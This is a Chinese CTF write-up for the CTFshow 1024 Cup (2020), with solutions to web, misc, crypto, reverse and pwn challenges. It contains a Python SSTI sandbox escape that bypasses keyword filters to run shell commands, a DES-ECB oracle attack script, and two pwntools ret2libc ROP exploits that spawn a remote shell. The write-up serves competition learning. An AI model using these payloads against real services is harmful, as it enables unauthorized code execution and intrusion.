CTFshow 1024杯

比赛:CTFshow 1024杯
平台:https://ctf.show
开始:2020/10/23 18:00
结束:2020/10/25 18:00
题目: web 杂项 密码 逆向 pwn 各3道
规则:
1 比赛期间可以随意讨论,wp须在比赛结束后发布,wp统一发布地址:https://wp.ctf.show
2 公平竞技,独立比赛
3 服务器不要爆破,不要攻击服务器,不要扫描!!!
4 奖品:武功秘籍一本,(100元以内)

出题:crypto1+re1


Web

1024_WEB签到

call_user_func()函数第1个参数为函数名,传入phpinfo

在Configuration中发现不起眼的自定义ctfshow项,内有自定义函数ctfshow_1024 support,传值得flag。

1024_fastapi

页面回显一个JSON数据,了解一下fastapi。

FastAPI 是一个高性能 Web 框架,用于构建 API。

主要特性:

  • 快速:非常高的性能,与 NodeJS 和 Go 相当
  • 快速编码:将功能开发速度提高约 200% 至 300%
  • 更少的错误:减少约 40% 的人为错误
  • 直观:强大的编辑器支持,自动补全无处不在,调试时间更少
  • 简易:旨在易于使用和学习,减少阅读文档的时间。
  • 简短:减少代码重复。
  • 稳健:获取可用于生产环境的代码,具有自动交互式文档
  • 基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema

发现其自带交互式API文档,访问/docs页,有采用POST方式传参的/cccalccc页,参数q传入计算式得到结果。

因为是python框架,尝试使用SSTI,反复测试各种输入,发现结果为list或string类型的都Internal Server Error或结果为空,尝试将string切片显示,发现成功:

str([].__class__.__base__.__subclasses__()[25])[1:]

回显:{"res":"class 'property'>","err":false}

尝试查找warnings.catch_warnings所在下标,以进一步命令执行。爆破下标输出各元素:

1
2
3
4
5
6
7
import requests

url='http://6aeaea7f-b079-4159-9ac8-d29a4b828174.chall.ctf.show/cccalccc'
for i in range(500):
data={'q':'str([].__class__.__base__.__subclasses__()['+str(i)+'])[1:]'}
r=requests.post(url,data)
print(r.text)

发现下标189为warnings.catch_warnings,尝试

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

发现过滤了importsystem关键字,'import''__imp'+'ort__'代替,systempopen代替,

列目录:

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

根目录无flag文件,单个目录查找flag关键字:

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find /app | xargs grep flag').read()

查到结果:

"/app/main.py: hint = \"flag is in /mnt/f1a9,try to read it\"\n/app/start.sh:source flag.sh\n",

读取拿flag:

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat /mnt/f1a9').read()

Misc

1024_签到

附件地址:https://ctfshow.lanzoui.com/iEuSDhlkxsj

包含很多行x y d text类型的数据,开始以为是Dijkstra算法求最短路径连成flag,跑脚本发现时间复杂度太高

暴力查找,从ag{查找得到的结果,再顺着y值($y_k$)找以y值开头的x值($x_{k+1}=y_k$)的行,连接text得flag。

1024_重新签到

附件:Misc-2-.zip

类三层套娃。

level 1

文件尾提示It's all numbers,普通爆破无果

出题人提示CRC爆破,压缩包内文件为10字节数字,CRC=0x342F0E5C,10字节CRC爆破:

1
2
3
4
5
6
7
8
9
10
from pwn import *
from parse import *
from pwnlib.util.iters import bruteforce
import string
from binascii import crc32

def brute_force():
return bruteforce(lambda x:crc32(x.encode())==int('342F0E5C',16),string.digits,length=10,method='fixed')

print(brute_force())

好在设置的数字不大,约1min得结果,为level 2密码。

level 2

jpg图片steghide隐写,解出txt文件,内容:密码是什么呀

level 3

压缩包注释The password is 32 bits.,结合level 2解出的提示,各种可能的32位md5值都不行,经出题人反复提醒,才知道32是故意留的坑,真正的加密方式是sha(啥),尝试sha1加密什么呀解出flag。

1024_兔耳

附件地址:https://ctfshow.lanzoui.com/iO0PPhlly5i

带噪音的摩斯密码,而且还很长,不会用脚本去噪+识别,直接硬搞。

内容中必定含flagFLAG关键字,找到..-. .-.. .- --.特征的一段,接着后面就是flag值。

1024_非常简单

附件:6.zip + jpg

6.zip

爆破6位数字密码+base92+base64+摩斯密码,得the end

jpg

  1. 分离zip文件,txt中与佛论禅解密得一串数字,结合提示(低头思考/老人机打字)手机键盘解密得zip密码;
  2. 第二层zip,txt内容为密文,文件名提示(你怕蛇吗)为Serpent加密,用在线解密网站解密,密钥为6.zip得到的the end,解出为zip密码,打开得flag。

1024_1024zip套娃

附件:1024.zip

带密码的多层zip套娃,且密码为0124四种数字组成,只能用脚本,生成新的删除旧的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import zipfile 
import os

now = "1024.zip"

while 1:
print("~~"+now)
zfile = zipfile.ZipFile(now)
passFile=open('dic.txt') #先用0124全排列做字典
for line in passFile.readlines():
try:
password = line.strip('\n')
zfile.extractall(members=zfile.namelist(), pwd=password.encode('utf-8'))
zfile.close()
try:
os.remove(now)
except OSError as e:
print(e)
names = os.listdir()
print(names)
for name in names:
if name.endswith('.zip') and name != now:
now=name
break
break
except:
pass
print('~~~~'+now)

解到最终的2048层flag.txt说去看1024层,好在脚本把中间的文件输出且未删除1024.txt文件,

hex+hex+b64+b32+hex+b64+hex+b64+hex+b32+b32+hex+b64+zip,得到flag。

1024_调频收音机

附件地址:https://ctfshow.lanzoui.com/iPAJehln1zc

audacity打开,切到频谱图,发现01波形,不会写脚本,把01字符串手撸下来,

尝试按字节分割无果,转成字符串得到包含569a四种字符的字符串,为曼彻斯特编码,脚本解码,得到标准曼彻斯特编码的解码结果为flag。

1024_大威天龙

送你一句箴言“大威天龙,世尊地藏,般若诸佛,般若巴嘛哄”

修改png高度,发现非文字版与佛论禅,找个在线网站OCR识别文字并检查修正,

修正后,与佛论禅+新与佛论禅+与熊论道+与佛论禅V2,得到flag。

Crypto

1024_Trick

RSA向+一点数论推导技巧。

$e_1d \equiv e_2(d+1024) \equiv 1 \pmod {\varphi(n)}$

即 $(e_1-e_2)d \equiv 1024e_2 \pmod {\varphi(n)}$

两边乘以 $e_1$ ,有 $(e_1-e_2)e_1d \equiv 1024e_2e_1 \pmod {\varphi(n)}$

因 $e_1d \equiv 1 \pmod {\varphi(n)}$,则 $e_1-e_2 \equiv 1024e_2e_1 \pmod {\varphi(n)}$

即 $e_1-e_2-1024e_1e_2 \equiv 0 \pmod {\varphi(n)}$

即 $e_1-e_2-1024e_1e_2 = k\varphi(n), k\in \mathbb{Z}$

$e_1,e_2$ 已知,可以计算出 $\varphi(n)$ 的倍数值 $k\varphi(n)$

用 $k\varphi(n)$ 可求出对应的 $d’$值:$e_1d’ \equiv 1 \pmod {k\varphi(n)}$

联立 $e_1d \equiv 1 \pmod {\varphi(n)}$,有 $d=d’\pmod {\varphi(n)}$

故 $m=c^{d’} \pmod n$。

1
2
3
4
5
6
7
8
9
10
import gmpy2
n=
e1=
e2=
enc=

kphi = (e1-e2)-1024*e2*e1
dd = gmpy2.invert(e1, kphi)
msg = pow(enc, dd, n)
print(bytes.fromhex(hex(msg)[2:]))

1024_麻辣兔头第七锅

小白兔,白又白,跳出栅栏进锅来

附件:tutu.txt

明显提示的栅栏密码,看到整个密文用普通和W型解都不对,

仔细看密文中只有一对{},且{前30个字节内有f/l/a/g四种字母,且间隔相等,

截取f开头到}结尾的字符串,尝试按6位一行取出并观察每行首字母,flag部分为0-f字符,调整第15行之后为5位一行,最后每行首字母连成flag。

1024_密码系统

1024密码系统,have fun!!!

DES-ECB模式攻击,参考:https://www.jianshu.com/p/8aef410a2eae

整体思路:

由脚本得知为8位分组的DES-ECB加密,每块8位明文单独加密得8位密文,又因key由两种字符串随机选择用于加密,每块8位明文对应的密文有两种可能。

结合脚本观察输出值,是密文 $c$ 经过 $c^{12}+rand(10^{1023},10^{1024})$ 处理的,假设

$c^{12}+rand(10^{1023},10^{1024}) \lt(c+1)^{12}$

那么对输出值直接开12次方取整即为 $c$。

明文由输入值m+flag+padding组成,$m$ 为空时, $c$ 可分 $k$ 块,不断调整 $m$ 的长度,直到 $m$ 长度为 $l+1$ 时 $c$ 可分 $k+1$ 块,那么说明 $m$ 长度为 $l$ 时 $c$ 刚好可分 $k$ 块,即无padding情况下,$m+flag$ 可分 $k$ 块,则flag长度即为 $8k-l$。

利用上面的思想,在 $m$ 长度为 $l$ 的基础上,长度不断加1,则可以把flag从后开始的每一位推到下一个块中,得到下一个块的密文 $c_i$;

已爆破出的flag位+padding已知,则下一个块的构成为未知字符1位+已爆破出的flag位(+padding)

根据DES-ECB的性质,相同明文块对应的密文块相同。爆破第一位未知字符,将上面的块构成作为输入值输入,得到对应的密文的第一块,分别与实际密文 $c_i$ 比较,匹配的即为正确的明文字符。

以此类推,得到完整flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#DES-ECB模式运作测试脚本
from Crypto.Cipher import DES
from binascii import b2a_hex, a2b_hex
from itertools import *
import random
import gmpy2

def Encode_1024sys(data,key):
data_list = [data[i:i+8] for i in range(0,len(data),8)]
print(data_list)
k1 = DES.new(key.encode(), DES.MODE_ECB)
k2 = DES.new(key[::-1].encode(), DES.MODE_ECB)
data_res = ''
for i in range(0,len(data_list)):
k = random.choice([k1,k2])
c = k.encrypt(data_list[i].encode())
data_res += b2a_hex(c).decode()
print(b2a_hex(c).decode())
return data_res

def Encode_1024(data,key):
len_data=len(data)
choices = cycle('1024')
while len_data%8!=0:
data += next(choices)
len_data=len(data)
data_res = Encode_1024sys(data,key)
print(data_res)
print()
data_out = hex(int(data_res,16)**12 + random.randint(10**1023,10**1024))[2:]
return data_out

msg='*'*19
test_flag='10120120414410412041101201204144104120'
test_key='messages'
out=Encode_1024(msg+test_flag,test_key)
print(out)
print()
print(hex(gmpy2.iroot(int(out,16),12)[0]))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#解题脚本
from pwn import *
import gmpy2
import string

host = '111.231.70.44'
port = 28045
block = 8
secret_len = 38
ori_padding_len = block-secret_len%block

def getCliphertext(data):
return hex(gmpy2.iroot(int(data,16),12)[0])[2:]


p = connect(host,port)
dic = '0124'
padding = ['1024102','102410','10241','1024','102','10','1','']
flag = ''

for i in range(secret_len):
prob=[]
find=0
payload = '*'*(ori_padding_len+i+1)

group = i//block
for j in range(20):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('msg: ')
p.sendline(payload)
p.recvuntil('is : ')
data = p.recvline()
data = getCliphertext(data)
print([data[i:i+16] for i in range(0,len(data),16)])
print(data)
if group == 0:
prob.append(data[-16:])
else:
prob.append(data[-16*(group+1):-16*(group+1)+16])
prob=list(set(prob))
print(str(i+1)+' prob = '+str(prob))
for j in dic:
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('msg: ')
flag_suffix = flag[:min(len(flag),7)]
payload = j + flag_suffix + padding[min(len(flag_suffix),7)]
print(payload)
p.sendline(payload)
p.recvuntil('is : ')
data = p.recvline()
data = getCliphertext(data)
print(data[:16])
if data[:16] in prob:
flag = j + flag
print(str(i+1)+' flag = '+flag)
print()
find=1
break
if find == 0:
print(str(i+1)+' cannot find!')
break

print(flag)
#44414440122401244401404424404421440414

最后得到的flag串并不是真正的flag,提示为01248,即云影密码,按0分隔,其他数隔开后组合加和,转化为1-26对应的字母,得到最终flag。

Reverse

1024_抽象语言

手逆python字节码。源码用python -m dis code.py生成。

字节码还原的相关分析参考:

https://docs.python.org/zh-cn/3/library/dis.html

https://bbs.pediy.com/thread-262577.htm

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64

k = 0
_ = 0
c = b"..." #base64密文略

c = base64.b64decode(c).decode().split(",")

def x(n):
if n > 1:
for i in range(2, n):
if (n % i) == 0:
return False
break
return True
else:
return False

z = lambda n: (2 ** n) - 1

out = ''

while _ < len(c):
if x(z(k)):
out += chr(int(c[_]) ^ z(k))
_ += 1
k += 1

print(out.join(['flag{','}']))

c解出的list与满足函数x()条件的 $2^k-1$ 分别异或得到结果,而x()中判断 $2^k-1$ 是否为素数。

直接运行在短时间只能得到前几位的结果,是因为 $2^k-1$ 的值为指数级增长,而且x()中又需对每个数从2至当前数遍历,非常耗时。

换个角度,c的list长度为47,那么只需寻找前47个满足 $2^k-1$ 为素数的 $k$ 值即可。

参考:梅森素数

梅森数,是指形如 $2^p-1$ 的一类数,其中指数 $p$ 是正整数,常记为 $M_p$ 。如果梅森数是素数,就称为梅森素数。

用因式分解法可以证明,若 $2^n-1$ 是素数,则指数 $n$ 也是素数;反之,当 $n$ 是素数时,$2^n-1$(即$M_p$)却未必是素数。前几个较小的梅森数大都是素数,然而梅森数越大,梅森素数也就越难出现。

目前仅发现51个梅森素数,最大的是 $M_{82589933}$(即 $2^{82589933}-1$),有 $24862048$ 位。

可见满足梅森素数($2^k-1$)的梅森指数($k$ 值)必定也是素数,而寻找梅森素数的过程很复杂且极其耗时(发现第35-51个梅森素数的过程,使用巨型分布式算力都花费了近20年)。

对于著名数列,可以使用在线整数数列查询网站(OEIS)查询,梅森素数数列里不足47个,不过可以从梅森指数数列里取47个 $k$ 再计算 $2^k-1$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64

_ = 0
c = b"..." #base64密文略

c = base64.b64decode(c).decode().split(",")

me = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457, 32582657, 37156667, 42643801, 43112609]

out = ''

while _ < len(c):
out += chr(int(c[_]) ^ 2**me[_]-1)
_ += 1

print(out.join(['flag{','}']))

Pwn

1024_happy_stack

happy为主,顺便签到

system/bin/shlibc

需要满足s=='36D',padding填充'36D'.ljust(0x380,'\x00')

可以通过puts函数泄露出puts函数地址,再到libc数据库查找下载相应的libc,用one_gadget找到execve()函数,根据偏移计算基地址,ROP成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p=remote('111.231.70.44',28058)
#p=process('./pwn1')
elf = ELF('./pwn1')

p.recvuntil('qunzhu\n')
p.recvline()

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.symbols['main']
poprdi_addr=0x400803

payload='36D'.ljust(0x380,'\x00')+'a'*8+p64(poprdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(payload)
print(p.recvline())
p.recvline()
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts_addr))

#one_gadget libc6_2.27-3ubuntu1_amd64.so
libc=ELF('./libc6_2.27-3ubuntu1_amd64.so')
libc_puts=libc.symbols['puts']
libc_execve=libc.symbols['execve']

libc_base=puts_addr-libc_puts
execve_addr=libc_base+0x10a38c

payload='36D'.ljust(0x380,'\x00')+'a'*8+p64(execve_addr)
p.sendline(payload)
p.interactive()

1024_happy_checkin

system/bin/shlibc

可以通过puts函数泄露出puts函数地址,再到libc数据库查找下载相应的libc,用one_gadget找到execve()函数,根据偏移计算基地址,ROP成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

p=remote('111.231.70.44',28041)
#p=process('./pwn2')
elf = ELF('./pwn2')

p.recvline()

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.symbols['main']
poprdi_addr=0x4006e3
poprsi_addr=0x4006e1

payload='a'*(0x370+8)+p64(poprdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts_addr))

#one_gadget libc6_2.27-3ubuntu1_amd64.so
libc=ELF('./libc6_2.27-3ubuntu1_amd64.so')
libc_puts=libc.symbols['puts']
libc_execve=libc.symbols['execve']

libc_base=puts_addr-libc_puts
execve_addr=libc_base+0x10a38c

payload='a'*(0x370+8)+p64(execve_addr)
p.sendline(payload)
p.interactive()